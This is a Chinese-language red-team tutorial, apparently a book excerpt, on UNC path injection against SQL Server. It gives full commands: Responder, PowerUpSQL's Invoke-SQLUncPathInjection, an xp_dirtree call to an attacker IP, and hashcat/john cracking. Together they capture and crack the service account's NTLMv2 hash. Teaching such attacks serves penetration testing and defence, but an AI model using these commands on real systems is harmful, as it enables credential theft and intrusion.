SQL Server数据库UNC路径注入攻击

科技   2024-05-28 17:05   江苏  
点击星标,即时接收最新推文

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

  

UNC路径注入

如果我们能强制SQL服务器连接到我们控制的SMB共享,连接将会包含认证数据。更具体的来说,将会发起一个NTLM认证,我们将能捕获到运行SQL服务的账户的密码hash。然后我们可以尝试破解这个hash,或者进行hash转发攻击。

要强制SQL服务器发起一个SMB连接请求,我们可以使用xp_dirtree SQL存储过程实现。该存储过程会列出指定路径下的所有文件,不仅是本地文件,也接受SMB共享作为目标。

如果我们低权限用户(比如上面的dev\dave)访问数据库并执行xp_dirtree存储过程,运行SQL服务的服务账户将会尝试列出指定SMB共享的内容。SMB共享通常使用Universal Naming Convention(UNC)路径提供,格式如下:

\\hostname\folder\file

如果hostname为IP地址,Windows将自动使用NTLM认证而不是Kerberos。在实际测试场景,如果xp_dirtree被移除,还有其他的一些存储过程也可以用来发起一个SMB共享访问请求,具体可参考:https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet

下面我们介绍具体的攻击过程。首先在kali上运行responder,-I指定使用的网卡,如果不想跳过先前捕获的hash,可以加上-v参数:

sudo responder -I eth0 -v

然后在域内主机,以普通域用户dev\dave,使用PowerUpSQL.ps1执行UNC路径注入,-CaptureIp为kali的IP:

Invoke-SQLUncPathInjection -Verbose  -CaptureIp 192.168.3.104    

使用PowerUpSQL.ps1执行UNC路径注入

如果成功,我们将能在kali上捕获到运行SQL服务的账户的密码hash:

responder捕获hash

Responder获得的hash是Net-NTLM或者NTLMv2 hash。当使用NTLM协议认证时,会基于NTLM hash创建挑战(challenge)和响应(response),产生的结果hash称为Net-NTLM。

我们可以使用hashcat进行破解。hashcat主要是利用GPU的能力,因为在虚拟机里面,我们使用--force参数。此外如果虚拟机的内存太小,也会报错:* Device #1: Not enough allocatable device memory for this attack.,此时可以尝试增加下虚拟机的内存,4G时可成功执行。将hash内容保存到hash.txt:

hashcat -m 5600 hash.txt Tools/pwd.txt --force

hashcat破解NTLMv2 hash

此外,也可以使用john进行爆破:

john --format=netntlmv2 hash.txt --wordlist=Tools/pwd.txt

 john破解NTLMv2 hash

需要注意的是PowerUpSQL每次运行都会从github加载Inveigh,如果目标环境不出网,可能运行失败。我们可以修改脚本,从文件进行加载:

# Attempt to load Inveigh from file$InveighSrc = Get-Content .\Inveigh.ps1 -ErrorAction SilentlyContinueInvoke-Expression($InveighSrc)

此外,Invoke-SQLUncPathInjection命令会自动枚举域内的SQL server实例,然后对每个可访问的实例都会执行UNC路径注入。如果我们只想对单个SQL server实例进行UNC路径注入,可以使用另一个工具ESC,下载地址为https://github.com/NetSPI/ESC。这个工具第一次执行EXEC命令可能会失败,可以多执行一次。

首先使用discover发现域内存在的SQL server实例,然后使用set命令指定我们想要执行UNC路径注入的SQL实例,最后执行xp_dirtree存储过程:

discover domainspn set instance dev-dc01.dev.ms08067.cn      EXEC master..xp_dirtree '\\192.168.3.104\test'

使用ESC执行UNC路径注入

             

 

—  实验室旗下直播培训课程  —



和20000+位同学加入MS08067一起学习


Ms08067安全实验室
“Ms08067安全实验室”致力于网络安全的普及和培训!
 最新文章